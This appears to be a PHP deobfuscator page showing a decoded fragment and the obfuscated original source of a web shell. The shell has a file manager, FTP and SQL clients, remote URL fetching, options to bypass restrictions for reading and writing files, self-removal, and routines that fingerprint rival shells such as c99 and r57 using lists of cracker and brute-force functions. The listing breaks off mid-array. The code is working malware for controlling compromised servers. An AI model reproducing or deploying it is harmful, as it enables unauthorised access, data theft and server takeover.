@base64_decode("Y2FsbGZ1bmNzKCRjbW5kKXx8Y2FsbHpvbmUoJG5zY2Rpcil8fGNmKCRmbmFtZSwkdGV4dCl8fGNoYW5nZV9kaXZzdChpZCl8fGNoYW5nZV9kaXZzdChpZCl8fGNsb3NlKCl8fGNvbXByZXNzKCYkZmlsZW5hbWUsJiRmaWxlZHVtcCwkY29tcHJlc3MpfHxkZWxtKCRkZWxtdHh0KXx8RGlyRmlsZXNSKCRkaXIsJHR5cGVzPScnKXx8ZG93bmxvYWQoJGR3ZmlsZSl8fGV4KCRjZmUpfHxHZXRGaWxlTWF0Y2hlc0NvdW50KCl8fEdldEZpbGVzVG90YWwoKXx8R2V0TWF0Y2hlc0NvdW50KCl8fGdldG1pY3JvdGltZSgpfHxHZXRSZXN1bHRGaWxlcygpfHxHZXRUaW1lVG90YWwoKXx8R2V0VGl0bGVzKCl8fGluKCR0eXBlLCRuYW1lLCRzaXplLCR2YWx1ZSwkY2hlY2tlZD0wKXx8aW5jbGluaygkbGluaywkdmFsKXx8bWFpbGF0dGFjaCgkdG8sJGZyb20sJHN1YmosJGF0dGFjaCl8fG1vcmVyZWFkKCR0ZW1wKXx8bW9yZXdyaXRlKCR0ZW1wLCRzdHI9JycpfHxyZWFkemxpYigkZmlsZW5hbWUsJHRlbXA9JycpfHxzYWZlX2V4KCRjZmUpfHxTZWFyY2hSZXN1bHQoJGRpciwkdGV4dCwkZmlsdGVyPScnKXx8U2VhcmNoVGV4dCgkcGhyYXNlPTAsJGNhc2U9MCl8fHNldF9lbmNvZGVyX2lucHV0KHRleHQpfHxVX3dvcmR3cmFwKCRzdHIpfHx2aWV3X3NpemUoJHNpemUp")), "itsecteam" => @explode("||", @base64_decode("YWRkX2RpcigkbmFtZSl8fGJjbigkaXBiYywkcGJjKXx8YnlwY3UoJGZpbGUpfHxieXdzeW0oJGZpbGUpfHxjYWxjX2Rpcl9zaXplKCRwYXRoKXx8Y29weWYoJGZpbGUxLCRmaWxlMiwkZmlsZW5hbWUpfHxkZWxldGVEaXJlY3RvcnkoJGRpcil8fGRpcnBlKCRhZGRyZXMpfHxkaXJwbWFzcygkYWRkcmVzLCRtYXNzbmFtZSwkbWFzc3NvdXJjZSl8fGRvc3NlcnZlcigpfHxkb3dubG9hZCgkZmlsZWFkZCwkZmluYW1lKXx8bGJwKCR3Yil8fG9wZW5mKCRwYXJzZWYpfHxwcmludGRyaXZlKCl8fHF1ZXJZKCR0eXBlLCRob3N0LCR1c2VyLCRwYXNzLCRkYj0nJywkcXVlcnkpfHxzaXplZSgkc2l6ZSl8fHNxbGNsaWVuVCgp")), "Locus" => @explode("||", @base64_decode("YmJlcnIoKXx8Yzk5ZnNlYXJjaCgkZCl8fGM5OWZ0cGJydXRlY2hlY2soJGhvc3QsJHBvcnQsJHRpbWVvdXQsJGxvZ2luLCRwYXNzLCRzaCwkZnFiX29ubHl3aXRoc2gpfHxjOTlnZXRzb3VyY2UoJGZuKXx8Yzk5c2hleGl0KCl8fGM5OV9idWZmX3ByZXBhcmUoKXx8Yzk5X3Nlc3NfcHV0KCRkYXRhKXx8Y2YoJGZuYW1lLCR0ZXh0KXx8Y2YoJGZuYW1lLCR0ZXh0KXx8Y2ZiKCRmbmFtZSwkdGV4dCl8fGNoZWNrcHJveHlob3N0KCl8fGRpc3BsYXlzZWNpbmZvKCRuYW1lLCR2YWx1ZSl8fGRvc3lheWljZWsoJGxpbmssJGZpbGUpfHxFTlVNRVJBVEUoKXx8ZXJyKCRuLCR0eHQ9JycpfHxlcnIoKXx8ZXgoJGNmZSl8fGV4KCRjZmUpfHxmc19jb3B5X2RpcigkZCwkdCl8fGZzX2NvcHlfb2JqKCRkLCR0KXx8ZnNfbW92ZV9kaXIoJGQsJHQpfHxmc19tb3ZlX29iaigkZCwkdCl8fGZzX3JtZGlyKCRkKXx8ZnNfcm1vYmooJG8pfHxnZXRtaWNyb3RpbWUoKXx8bHNfcmV2ZXJzZV9hbGwoKXx8bHNfc2V0Y2hlY2tib3hhbGwoc3RhdHVzKXx8bXlzaGVsbGV4ZWMoJGNtZCl8fG15c2hlbGxleGVjKCRjbWQpfHxteXNoZWxsZXhlYygkY29tbWFuZCl8fG15c3FsX2NyZWF0ZV9kYigkZGIsJHNvY2s9IiIpfHxteXNxbF9kdW1wKCRzZXQpfHxteXNxbF9mZXRjaF9hbGwoJHF1ZXJ5LCRzb2NrKXx8bXlzcWxfcXVlcnlfZm9ybSgpfHxteXNxbF9xdWVyeV9wYXJzZSgkcXVlcnkpfHxteXNxbF9zbWFydGVycm9yKCR0eXBlLCRzb2NrKXx8b25waHBzaHV0ZG93bigpfHxwYXJzZXNvcnQoJHNvcnQpfHxwYXJzZV9wZXJtcygkbW9kZSl8fHBvc2l4X2dldGdyZ2lkKCRnaWQpfHxwb3NpeF9nZXRwd3VpZCgkdWlkKXx8cG9zaXhfa2lsbCgkZ2lkKXx8cnNnX2dsb2IoKXx8cnNnX3JlYWQoKXx8c2VsZlVSTCgpfHxzZXRfZW5jb2Rlcl9pbnB1dCh0ZXh0KXx8c3RyMm1pbmkoJGNvbnRlbnQsJGxlbil8fHN0cmlwcygmJGFyciwkaz0iIil8fHRhYnNvcnQoJGEsJGIpfHx2aWV3X3Blcm1zKCRtb2RlKXx8dmlld19wZXJtc19jb2xvcigkbyl8fHZpZXdfc2l6ZSgkc2l6ZSl8fHdoaWNoKCRwcil8fHdoaWNoKCRwcik=")), "jackal" => @explode("||", @base64_decode("YXV0aGNyYWNrZVIoKXx8YnJzaGVsTCgpfHxjYWxDKCl8fGNoZWNrc210UCgkaG9zdCwkdGltZW91dCl8fGNoZWNrc3VNKCRmaWxlKXx8Y2hlY2t0aGlzcG9yVCgkaXAsJHBvcnQsJHRpbWVvdXQsJHR5cGU9MCl8fGNoZWNrX3VyTCgkdXJsLCRtZXRob2QsJHNlYXJjaCwkdGltZW91dCl8fGNyYWNrZVIoKXx8ZGljbWFrZVIoKXx8ZG93bmxvYWRpVCgkZ2V0LCRwdXQpfHxlZGl0b1IoJGZpbGUpfHxmaWxlbWFuYWdlcigpfHxmbHVzaGVSKCl8fGZvcm1jcmFja2VSKCl8fGZ0cGNyYWNrZVIoKXx8Z2V0X3N3X25hbUUoJGhvc3QsJHRpbWVvdXQpfHxoYXNoY3JhY2tlUigpfHxoZXh2aWVXKCl8fGhsaW5LKCRzdHI9IiIpfHxpbWFwY3JhY2tlUigpfHxpbWFwbG9naU4oJGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCl8fGxpc3RkaVIoJGN3ZCwkdGFzayl8fGxvZ291VCgpfHxtYWlsZVIoKXx8bXlzcWxjbGllblQoKXx8b3BlbmlUKCRuYW1lKXx8cG9wM2NyYWNrZVIoKXx8cG9wM2xvZ2lOKCRzZXJ2ZXIsJHVzZXIsJHBhc3MpfHxwcjB4eSgpfHxzYWZlbW9kRSgpfHxzaGVsTCgkY29tbWFuZCl8fHNob3dpbWFnRSgkaW1nKXx8c2hvd3NpekUoJHNpemUpfHxzbXRwY3JhY2tlUigpfHxzbXRwbG9naU4oJGFkZHIsJHVzZXIsJHBhc3MsJHRpbWVvdXQpfHxzbm1wY2hlY0soJGlwLCRjb20sJHRpbWVvdXQpfHxzbm1wY3JhY2tlUigpfHxzcWxjcmFja2VSKCl8fHN0cl9yZXBlYXQoJHN0ciwkYyl8fHN5c2luZk8oKXx8d2Vic2hlbEwoKXx8d2hlcmVpc3RtUCgpfHx3aG9pUygp")), "SyRiAn" => @explode("||", @base64_decode("QWJvdXQoKXx8Y2hlY2tmdW5jdGlvTigkZnVuYyl8fGNvbXNoZWxMKCRjb21tYW5kLCR3cyl8fGNwYW5lbF9jaGVjaygkaG9zdCwkdXNlciwkcGFzcywkdGltZW91dCl8fENTUygkc2hlbGxDb2xvcil8fEN1cmwoKXx8Y3VycmVudEZpbGVOYW1lKCl8fERlY3J5cHRDb25maWcoKXx8RGlzYWJsZUZ1bmN0aW9ucygpfHxFeGUoJGNvbW1hbmQpfHxmZmlzaGVsTCgkY29tbWFuZCl8fGZvb3RlcigpfHxmdHBfY2hlY2soJGhvc3QsJHVzZXIsJHBhc3MsJHRpbWVvdXQpfHxHZW5lcmF0ZUZpbGUoJG5hbWUsJGNvbnRlbnQpfHxHZXRSZWFsSVAoKXx8Z2V0X3Bhc3MoJGxpbmspfHxHemlwKCl8fEhhcmRTaXplKCRzaXplKXx8aW5wdXQoJHR5cGUsJG5hbWUsJHZhbHVlLCRzaXplKXx8TG9nb3V0KCl8fG1hZ2ljUW91dHMoKXx8TVNRTCgpfHxNc1NRTCgpfHxNeVNRTDIoKXx8TXlzcWxJKCl8fG9wZW5CYXNlRGlyKCl8fE9yYWNsZSgpfHxwZXJsc2hlbEwoJGNvbW1hbmQpfHxQb3N0Z3JlU1FMKCl8fHJlYWRfZGlyKCRwYXRoLCR1c2VybmFtZSl8fFJlZ2lzdGVyR2xvYmFscygpfHxyb290eHBMKCl8fFNhZmVNb2RlKCl8fFNlbGVjdENvbW1hbmQoJG9zKXx8c2hvd1VzZXJzKCl8fFNRbExpdGUoKXx8c3J2c2hlbEwoJGNvbW1hbmQpfHxzdHJfaGV4KCRzdHJpbmcpfHxTdWljaWRlKCl8fHR1bGlzKCRmaWxlLCR0ZXh0KXx8dXBkYXRlKCl8fHdoZXJlaXN0bVAoKXx8d2hpY2goJHByKXx8d2luc2hlbEwoJGNvbW1hbmQp"))); $content = z9p($file); if (!$content) { return false; } $cleanct = @preg_replace("/[\s\t\r\n\v]/", '', $content); foreach ($knownfunc as $type => $funcs) { $score = 0; $count = @count($funcs); $min = @round($count * 0.75); foreach ($funcs as $func) { if (@strstr($cleanct, $func)) { $score++; } } $foundp = @round($score / $count * 100); if ($score >= $min) { if ($replace) { $replaced = " : " . (z2q($file) ? z9s("290") : z9s("291")); } return $foundp == 100 ? $type . $replaced : $type . " (" . $foundp . "%)" . $replaced; } } if ($possible) { if (@preg_match("/" . @base64_decode("KHN5c3RlbXxwYXNzdGhydXxzaGVsbF9leGVjfHBvcGVufHByb2Nfb3BlbikuezAsMTB9") . "/i", $content) && @preg_match("/" . @base64_decode("YmFja19jb25uZWN0fGJhY2tkb29yfHI1N3xQSFBKYWNrYWx8UGhwU3B5fEdpWHxGeDI5U2hlTEx8dzRjazFuZ3xtaWx3MHJtfFBocFNoZWxsfGsxcjR8RmVlTENvTXp8RmFUYUxpc1RpQ3p8VmVfY0VOeFNoZWxsfFVuaXhPbnxDOTltYWRTaGVsbHxTcGFtZm9yZHp8TG9jdXM3c3xjMTAwfGM5OXx4MjMwMHxjZ2l0ZWxuZXR8d2ViYWRtaW58U1RVTlNIRUxMfFByIXY4fFBIUFNoZWxsfEthTWVMZU9ufFM0VHxvUmJ8dHJ5YWd8bm9leGVjc2hlbGx8XC9ldGNcL3Bhc3N3ZHxyZXZlbmdhbnM=") . "/", $content) || @preg_match("/" . @base64_decode("ZXZhbC57MCwxMH1iYXNlNjRfZGVjb2Rl") . "/i", $content)) { if ($replace) { $replaced = z2q($file) ? " : " . z9s("290") : " : " . z9s("291"); } return "Possible backdoor" . $replaced; } } return false; } goto U1DX9; T2pqG: function z9c($n = 1) { return @str_repeat(" ", $n); } goto qBrUh; MTPag: ?>
------WebKitFormBoundaryCRqsB91phZodYsQd--
Did this file decode correctly?
Original Code
<?php
goto slWSx; sFpBd: function z4r($v) { if ($v == '') { return "\156\157\40\x76\141\154\165\x65"; } if (@is_bool($v)) { return $value ? "\124\x52\x55\105" : "\106\101\114\123\105"; } if ($v === null) { return "\116\x55\x4c\x4c"; } if (@is_object($v)) { $v = (array) $v; } if (@is_array($v)) { @ob_start(); print_r($v); $v = @ob_get_contents(); @ob_end_clean(); } return (string) $v; } goto BxcAO; zWHNT: function z4k($n, $c = '', $s = '') { return z4c("\154\x65\146\x74", $n, $c, $s); } goto ORtPB; dDVXT: function z0r($t) { return z5c(array("\141\143\x74" => "\x66\164\x70", "\x66\x6c\163\x6f\x72\x74", "\x66\146\163\157\162\164", "\144", "\x72\x74" => $t), z4a("\146\x74", array("\144\157\167\156\154\157\141\144" => z9s("\x31\71\70"), "\144\x65\154\x65\x74\x65" => z9s("\61\71\71")), "\63") . z8v("\x26\162\141\x71\x75\x6f\73", "\66")); } goto JGVDO; cQURc: function z9i($i) { foreach (array("\x61" => "\64", "\145" => "\x33", "\x6f" => "\x30", "\163" => "\x35", "\154" => "\x31", "\164" => "\67") as $k => $v) { $i = @str_replace(array($k, @strtoupper($k)), $v, $i); } return $i; } goto XVFbW; RnUJw: function z2f($u) { $r = ''; if (!@strstr($u, "\x3a\57\x2f")) { return $r; } $s = @substr($u, 0, @strpos($u, "\72\x2f\x2f") + 3); $uh = @substr($u, @strlen($s)); $e = @explode("\x2f", $uh); $h = $e[0]; $p = @substr($uh, @strlen($h)); $fp = @fsockopen($h, 80, $errno, $errstr, 30); @fputs($fp, "\107\x45\x54\40{$p}\40\110\124\124\120\x2f\x31\56\61\xd\12"); @fputs($fp, "\110\x6f\x73\164\72\40{$h}\15\12"); @fputs($fp, "\125\163\x65\x72\x2d\x41\147\x65\x6e\x74\x3a\x20" . z7x("\62", "\144\x6f\x77\x6e\x6c\x6f\x61\144\141") . "\15\12"); @fputs($fp, "\x43\x6f\x6e\156\x65\x63\x74\x69\157\156\x3a\x20\143\x6c\157\163\145\15\12\xd\xa"); while (!@feof($fp) && ($debug = @fgets($fp)) != "\15\12") { } while (!@feof($fp)) { $r .= @fgets($fp, 1024); } @fclose($fp); return $r; } goto Y7GQE; AEvWB: function z3r($s) { if (!@preg_match("\x2f\133\x41\x2d\132\135\x2f\151", $s)) { return $s; } $s = @strtolower($s); for ($i = 0; $i < @strlen($s); $i++) { if (@preg_match("\x2f\x5b\141\x2d\x7a\135\57", $s[$i])) { $s[$i] = @strtoupper($s[$i]); return $s; } } return $s; } goto ePRir; Llr2C: function z9w($i) { global $color_skin; $a = z7x("\65", $color_skin); return @isset($a[$i]) ? $a[$i] : ''; } goto jyJ6v; cvY6y: function z3e($a = array()) { if (@isset($a["\x62\141\143\153\146"])) { return z2s($a); } $r = ''; foreach ($a as $k => $v) { $r .= (@is_numeric($k) ? $v . "\75" . @urlencode(z8g($v)) : $k . "\75" . @urlencode(z8g($k, $v))) . "\x26"; } if ($r != '') { $r = z9b("\x6d\145\x72\x67\145\x64", @base64_encode($r)); } return $r; } goto ycJ39; pGxqN: function z0t($t) { return z5c(array("\x61\143\x74" => "\146\x74\x70", "\146\154\x73\157\162\x74", "\x66\x66\x73\157\x72\x74", "\144", "\x6c\x74" => $t), z4a("\146\x74", array("\x75\x70\154\157\141\x64" => z9s("\x31\x39\67"), "\144\x65\154\x65\x74\145" => z9s("\61\71\71")), "\63") . z8v("\x26\162\141\x71\165\157\x3b", "\66")); } goto dDVXT; lv7_L: if ($boracle) { $a_sql[] = "\x4f\x72\141\143\x6c\x65"; } goto hBkAD; yeVKG: $filealiases = array("\x68\164\x6d\x6c" => array("\150\164\155\x6c", "\150\164\155", "\x73\150\164\155\154"), "\x74\145\170\x74" => array("\150\164\155\154", "\150\164\155", "\x73\x68\x74\x6d\154", "\x63\x73\163", "\x6a\163", "\x74\x78\x74", "\143\157\x6e\146", "\x62\x61\x74", "\142\x61\x6b", "\x64\x6f\143", "\154\x6f\x67", "\x73\146\143", "\x63\146\x67", "\162\x65\x61\144\155\x65", "\164\x6f\144\157", "\x63\x68\x61\x6e\147\x65\x6c\157\147", "\155\141\153\145\x66\151\x6c\145", "\143\155\x61\153\145", "\x63\x6f\160\x79\151\x6e\x67", "\x61\165\164\x68\x6f\x72\163", "\x6d\157\x74\144", "\156\145\x77\163", "\x69\156\x73\164\141\154\x6c", "\x61\x62\x6f\x75\164", "\150\164\141\143\143\x65\x73\x73"), "\x65\x78\145" => array("\163\150", "\142\x61\164", "\x63\155\x64", "\x65\x78\145", "\160\x6c", "\x70\171"), "\151\x6e\x69" => array("\151\156\x69", "\151\x6e\x66"), "\x63\x6f\x64\x65" => array("\160\x68\x70", "\160\x68\164\155\x6c", "\160\150\x70\x33", "\x70\x68\x70\x34", "\x70\150\x70\65", "\160\x6c", "\143\x67\x69", "\143", "\x63\x63", "\x63\160\x70", "\150", "\150\160\160", "\x69\143\154", "\151\160\x70"), "\x69\x6d\147" => array("\147\151\146", "\x70\x6e\x67", "\152\160\x65\147", "\x6a\x66\151\x66", "\x6a\160\147", "\x6a\160\145", "\142\x6d\160", "\x69\x63\157", "\164\x69\146", "\x74\151\146\146"), "\x73\144\142" => array("\163\144\142"), "\x73\x65\163\x73" => array("\x73\x65\x73\163"), "\x64\157\167\156\154\x6f\141\x64" => array("\x73\161\x6c", "\x33\x67\x32", "\63\147\x61", "\63\147\160", "\63\147\x70\x70", "\66\66\x39", "\67\x7a", "\x61\x61\143", "\141\143\63", "\141\x63\x65", "\x61\151\x66", "\x61\151\x66\x63", "\141\151\x66\x66", "\x61\155\162", "\x61\x70\x65", "\x61\162\152", "\x61\x73\x66", "\141\x73\170", "\141\x75", "\x61\166\151", "\x61\x77\142", "\141\x78\x61", "\x61\x78\166", "\x62\144\155", "\x62\144\155\x76", "\142\x7a", "\142\x7a\62", "\143\141\x62", "\143\154\x70\151", "\143\157\x6d", "\143\160\x69", "\x64\x6f\143", "\x64\x6f\x74", "\x64\151\166\x78", "\x64\x6d\147", "\x64\166", "\x65\x78\145", "\146\x6c\x61", "\x66\x6c\x61\143", "\146\x6c\143", "\x66\x6c\151", "\x66\154\x76", "\x67\163\155", "\x67\x7a", "\x69\x73\x6f", "\151\164", "\153\141\x72", "\x6c\150\x61", "\154\x6e\153", "\x6c\172\150", "\155\x31\65", "\155\x32\164", "\155\62\164\163", "\x6d\63\165", "\x6d\63\x75\x38", "\155\64\141", "\155\64\142", "\155\64\166", "\155\145\144", "\x6d\x69\x64", "\155\151\144\151", "\x6d\x69\156\151\x70\x73\x66", "\x6d\x6b\x61", "\x6d\153\166", "\x6d\156\147", "\155\157\x33", "\155\x6f\x64", "\x6d\x6f\x6f\x76", "\x6d\157\x76", "\x6d\x6f\x76\151\145", "\x6d\160\x2b", "\155\160\62", "\155\160\x33", "\x6d\160\x34", "\155\x70\143", "\155\160\145", "\155\160\145\x67", "\155\160\x67", "\x6d\160\147\x61", "\155\x70\154", "\155\160\x6c\x73", "\155\x70\160", "\x6d\164\x6d", "\x6d\x74\163", "\x6e\162\147", "\x6e\163\x76", "\x6f\x67\141", "\x6f\x67\x67", "\157\x67\x6d", "\x6f\147\166", "\160\x62\153", "\x70\x69\x66", "\160\x6c\x61", "\x70\154\x73", "\x70\x73\x66", "\x70\x73\146\x6c\151\142", "\x70\163\151\x64", "\x71\x74", "\161\164\166\x72", "\162\x30\x30", "\162\x61", "\162\141\x72", "\162\x61\170", "\162\x76", "\162\166\x78", "\163\63\155", "\x73\x69\144", "\163\x6e\x64", "\x73\160\x78", "\x73\x72\143", "\163\x74\x6d", "\x73\167\x66", "\164\x61\162", "\x74\x62\172", "\164\x62\x7a\62", "\164\x67\x7a", "\x74\x73", "\x74\x74\141", "\x75\154\164", "\165\156\151", "\x75\x75", "\165\165\x66", "\x76\151\166", "\x76\151\x76\x6f", "\x76\x6c\x63", "\x76\x6f\x62", "\x76\157\143", "\x77\x61\166", "\x77\x61\x78", "\167\x6d\141", "\x77\155\166", "\x77\155\170", "\167\x72\x69", "\167\166", "\170\x6c\141", "\170\x6c\143", "\x78\x6c\144", "\170\154\x73\x62", "\x78\x6c\x6c", "\x78\x6c\155", "\170\x6c\x73", "\170\154\164", "\x78\x6c\163\x6d", "\170\154\167", "\170\154\164\155", "\167\166\x63", "\x77\x76\160", "\x77\166\x78", "\170\x69", "\x78\x6d", "\x78\x6d\x66", "\170\x78\145", "\x7a\x69\160")); goto Bxuwi; N1cV2: function z6t($i, $n, $c = '', $s = '') { return z4z($n, $c, $s) . $i . z7g(); } goto JElT1; b0Psl: if (!@isset($d) || @empty($d)) { $d = @realpath(@dirname(__FILE__)); } elseif (@realpath($d)) { $d = @realpath($d); } elseif (@isset($dold) && @realpath(z1a($dold) . $d)) { $d = @realpath(z1a($dold) . $d); } goto rfd47; TVkpg: $lang["\x65\156"] = array("\x30" => "\101\x55\x54\110\105\116\124\111\103\101\124\x49\117\116\x20\x52\105\x51\x55\111\x52\105\x44", "\x31" => "\125\x53\105\122", "\62" => "\120\x41\x53\x53", "\x33" => "\103\157\156\x6e\145\x63\164", "\64" => "\x53\x45\122\x56\105\122\x20\127\110\x4f\111\123", "\65" => "\124\x52\x41\103\105\122\117\x55\124\x45", "\x36" => "\123\x45\114\106\40\x52\x45\115\x4f\x56\105", "\67" => "\114\x4f\x47\117\125\124", "\70" => "\x53\x59\123", "\71" => "\x4b\105\122\116\x45\114", "\61\x30" => "\104\111\123\x4b\x20\x54\x4f\124\101\x4c\x2f\x46\122\x45\x45", "\x31\61" => "\127\x45\x42\40\123\x4f\106\124\127\x41\122\x45", "\x31\62" => "\x53\101\x46\105\40\x4d\x4f\104\105", "\61\63" => "\117\x50\x45\116\x20\102\101\123\105\x44\111\x52", "\x31\64" => "\x43\x55\122\x4c", "\61\65" => "\x4d\x59\x53\x51\114", "\x31\66" => "\115\x53\123\121\114", "\61\67" => "\117\x52\101\103\114\105", "\x31\70" => "\120\117\123\124\x47\122\x45\123\121\114", "\x31\x39" => "\117\116", "\x32\60" => "\x4f\106\106", "\x32\61" => "\131\x45\x53", "\x32\62" => "\x4e\117", "\x32\x33" => "\x42\x41\103\x4b", "\x32\x34" => "\106\111\114\105\x53", "\62\x35" => "\123\x45\x41\x52\x43\x48", "\x32\66" => "\x55\x50\114\x4f\101\104", "\x32\x37" => "\103\115\x44", "\62\70" => "\105\x56\101\x4c", "\x32\x39" => "\123\x51\114", "\63\60" => "\115\x41\x49\x4c\x45\122\x53", "\63\x31" => "\x43\x41\114\103", "\63\x32" => "\124\117\117\114\123", "\63\63" => "\120\122\117\x43", "\x33\64" => "\123\x59\123\111\x4e\106\x4f", "\x33\x35" => "\106\111\114\x45", "\x33\x36" => "\104\111\122", "\63\67" => "\123\x68\x6f\167\40\101\154\x6c", "\63\x38" => "\104\151\x72\163", "\63\x39" => "\106\151\154\145\x73", "\x34\x30" => "\101\x72\x63\150\x69\x76\145\x73", "\64\x31" => "\105\x78\145\x73", "\64\x32" => "\120\x48\x50", "\x34\x33" => "\110\x74\155\154", "\64\x34" => "\124\145\170\x74", "\64\x35" => "\111\155\x61\x67\145\x73", "\64\x36" => "\117\164\x68\x65\x72", "\64\x37" => "\123\x68\x6f\x77\x20\111\143\x6f\x6e\x73", "\x34\x38" => "\x48\x69\x64\x65\40\x49\143\157\156\x73", "\64\71" => "\x45\156\141\142\154\x65\40\102\165\146\146\x65\x72", "\65\x30" => "\104\151\163\141\142\154\x65\40\102\165\x66\x66\145\162", "\x35\x31" => "\105\x6d\x70\x74\171\x20\102\165\x66\146\x65\162", "\x35\x32" => "\123\150\x6f\167\x20\102\165\146\x66\x65\x72", "\65\63" => "\110\x69\x64\x65\40\102\165\x66\146\x65\x72", "\x35\64" => "\120\141\163\164\x65\x20\103\157\x70\x79", "\65\65" => "\120\141\x73\164\145\x20\x43\x75\164", "\65\x36" => "\x50\141\163\164\x65\40\101\154\154", "\65\67" => "\116\x61\155\x65", "\65\70" => "\123\151\172\x65", "\65\x39" => "\115\x6f\x64\151\146\151\145\144", "\66\60" => "\x4f\x77\156\x65\x72\x2f\x47\x72\157\165\160", "\66\x31" => "\120\x65\x72\155\x73", "\x36\x32" => "\x41\x63\x74\x69\157\x6e", "\66\x33" => "\123\145\154\x65\143\164\x20\x41\154\x6c", "\66\x34" => "\x4e\x6f\156\x65", "\66\x35" => "\111\156\x76\145\162\x73\x65", "\66\66" => "\x57\151\x74\x68\40\x53\145\154\x65\143\x74\145\x64", "\x36\67" => "\x43\157\160\171", "\66\x38" => "\x43\x75\164", "\66\x39" => "\x55\x6e\x73\145\164\40\x43\157\x70\171", "\67\60" => "\x55\156\163\145\164\x20\103\x75\x74", "\x37\x31" => "\x55\x6e\163\x65\x74\x20\x41\154\154", "\67\62" => "\104\x65\154\145\164\x65", "\x37\63" => "\x52\145\x6e\141\155\145", "\67\x34" => "\x46\x75\156\143\164\151\157\156\163", "\x37\65" => "\105\x64\151\164", "\x37\x36" => "\104\x6f\167\156\154\157\x61\x64", "\67\67" => "\x43\157\156\x66\151\162\155", "\x37\x38" => "\126\x49\105\127\111\116\107\40\x46\111\114\x45\x3a", "\67\x39" => "\124\145\170\x74", "\x38\x30" => "\103\157\x64\145", "\70\61" => "\110\164\155\x6c", "\70\x32" => "\x48\x74\155\x6c\x2d\116\x6f\112\x53", "\x38\x33" => "\x45\170\145\143\x75\164\145", "\70\x34" => "\x53\145\163\163\151\157\x6e", "\70\x35" => "\x53\x64\142", "\x38\x36" => "\x49\x4e\x49", "\x38\x37" => "\x49\x6d\x61\147\145", "\x38\x38" => "\110\145\170\x64\x75\x6d\x70", "\x38\71" => "\x42\162\157\x77\163\x65\x72\40\104\145\x66\x61\165\154\164", "\71\60" => "\123\x54\x52\x49\x4e\x47\x20\103\117\116\126\105\x52\x53\x49\117\116\x53", "\71\x31" => "\x46\x55\x4e\103\x54\111\117\116", "\71\62" => "\123\x75\142\155\151\164", "\71\x33" => "\103\x48\101\x4e\107\105\x20\106\111\114\x45\x27\x53\40\x50\105\x52\115\111\x53\123\111\117\116\123\72", "\71\64" => "\x4f\x77\x6e\x65\x72", "\71\x35" => "\x47\162\x6f\x75\x70", "\x39\66" => "\x57\157\x72\x6c\x64", "\71\67" => "\122\145\141\x64", "\x39\70" => "\127\162\151\164\x65", "\x39\x39" => "\105\x78\145\x63\x75\164\145", "\x31\60\60" => "\103\150\x6d\157\x64", "\61\x30\61" => "\x4f\x52\40\x45\x4e\124\x45\122\x20\x56\x41\x4c\125\105", "\61\x30\62" => "\117\x55\124\x50\x55\x54", "\x31\60\x33" => "\103\110\101\x4e\107\105\x20\106\111\x4c\105\47\x53\x20\124\111\115\105\x53\x54\x41\x4d\x50", "\61\x30\x34" => "\x43\117\x50\x59\x20\x46\122\x4f\x4d\40\x46\x49\114\105\57\x44\x49\122", "\61\x30\x35" => "\x53\x45\124\40\124\111\115\x45\x20\115\101\x4e\x55\101\114\x4c\131", "\x31\x30\66" => "\115\x6f\x6e\x74\150", "\61\60\67" => "\104\141\171", "\x31\60\70" => "\131\x65\x61\162", "\x31\60\x39" => "\110\x6f\165\x72", "\61\61\60" => "\115\151\x6e", "\61\x31\x31" => "\123\145\x63", "\61\61\62" => "\x43\x68\x61\x6e\147\145", "\x31\61\63" => "\x54\151\x6d\145\x73\164\x61\x6d\160\40\x63\x68\141\x6e\147\x65\144\40\x74\157\x20\x5b\x25\x31\x25\x5d", "\61\61\64" => "\106\x61\151\x6c\145\x64\x20\x74\x6f\40\x63\150\141\156\147\x65\x20\x74\151\155\145\x73\x74\141\155\x70", "\x31\61\65" => "\x52\105\x50\x4c\101\103\105", "\x31\61\66" => "\x57\x49\124\x48", "\61\x31\67" => "\x52\x65\x70\x6c\141\x63\x65", "\x31\61\70" => "\x52\x65\163\x65\x74", "\61\61\71" => "\x53\141\166\x65", "\x31\x32\60" => "\x50\x52\x4f\107\x52\101\115\x20\114\x49\116\105", "\61\x32\x31" => "\106\165\154\x6c\40\110\145\x78\144\x75\155\x70", "\x31\62\x32" => "\110\145\x78\x64\165\x6d\x70\40\x50\x72\145\166\x69\x65\x77", "\x31\62\x33" => "\103\110\101\116\x47\x45\40\x44\x49\x52\47\x53\40\x50\x45\x52\x4d\111\x53\123\111\117\x4e\x53\x3a", "\61\62\64" => "\x43\x48\x41\116\x47\x45\x20\x44\111\x52\47\123\40\x54\x49\115\x45\123\124\101\115\x50\72", "\x31\x32\65" => "\102\131\x50\101\x53\123\40\x52\105\x53\124\x52\111\x43\x54\111\117\x4e\123\40\55\40\114\111\x53\124\x20\x44\x49\x52", "\61\62\x36" => "\x44\111\x52\x20\124\x4f\40\114\111\123\124", "\61\x32\67" => "\114\x69\163\x74\x20\x44\x69\x72", "\x31\62\70" => "\102\x59\120\101\x53\x53\x20\x52\x45\123\x54\x52\x49\103\124\111\x4f\x4e\x53\40\x2d\x20\x52\105\x41\104\40\x46\111\x4c\x45", "\61\62\71" => "\106\x49\114\105\40\x54\117\x20\122\105\x41\x44", "\61\x33\x30" => "\x52\x65\141\144\x20\106\151\x6c\x65", "\x31\x33\x31" => "\102\x59\x50\101\x53\123\x20\122\x45\x53\x54\122\111\103\124\111\x4f\116\x53\40\x2d\40\x52\105\x41\x44\x20\106\x49\x4c\105\40\126\x49\101\40\x53\x51\114", "\x31\63\62" => "\x55\x53\x45\122\x4e\x41\x4d\105", "\x31\63\63" => "\120\x41\123\x53\x57\117\x52\104", "\61\x33\64" => "\120\x4f\x52\124", "\x31\63\x35" => "\104\101\124\101\x42\101\x53\105", "\61\63\66" => "\x5b\55\135\40\x45\x52\122\x4f\122\x21\40\x43\x61\156\47\x74\40\163\145\154\x65\x63\164\x20\x64\x61\164\141\142\141\x73\145", "\61\63\67" => "\133\55\135\x20\x45\x52\122\117\122\41\40\x43\141\x6e\x27\x74\40\x63\157\x6e\156\145\x63\x74\40\164\157\x20\133\45\61\x25\135\x20\x73\145\162\166\x65\x72", "\61\63\70" => "\x42\x59\120\101\123\123\x20\x52\105\x53\x54\x52\111\x43\x54\x49\x4f\x4e\123\40\55\x20\x57\x52\111\124\x45\40\x46\x49\114\x45", "\61\x33\x39" => "\x46\x49\114\x45\40\x54\117\40\127\x52\x49\124\105", "\61\x34\60" => "\x46\111\114\105\x20\103\x4f\x4e\124\x45\116\124", "\61\64\61" => "\127\x72\151\164\x65\40\106\151\x6c\145", "\x31\64\x32" => 